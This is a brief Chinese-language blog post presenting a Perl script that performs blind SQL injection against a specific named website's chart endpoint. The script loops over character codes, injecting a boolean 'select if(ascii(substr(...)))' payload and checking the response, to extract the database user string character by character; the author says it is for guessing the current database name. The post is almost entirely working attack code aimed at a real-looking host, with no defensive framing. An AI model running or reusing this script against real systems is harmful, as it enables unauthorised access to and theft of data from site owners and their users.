测试一个注入小脚本

Posted 2020-08-31 FireC@t @ Perl6

 1 use warnings;
 2 use strict;
 3 use LWP::Simple;
 4 my @result;
 5 my $i=1;
 6 do{
 7     for(my $count=0;$count <=255;$count++){
 8         my $result = get("http://www.btc918.com//Chart/getJsonData?market=1‘ or (     select if(ascii(substr((select user()),$i,1))=$count,1,0))-- -");
 9         if($result =~ /120464662.8341/){
10                 print "OK!\n";
11                 print chr($count),"\n";
12                 push @result,chr($count);
13                 last;
14         }
15         print "Not $count \n";
16     }
17     $i++;
18 }while($i < 15);
19 print @result,"\n";

主要是猜测当前数据库名称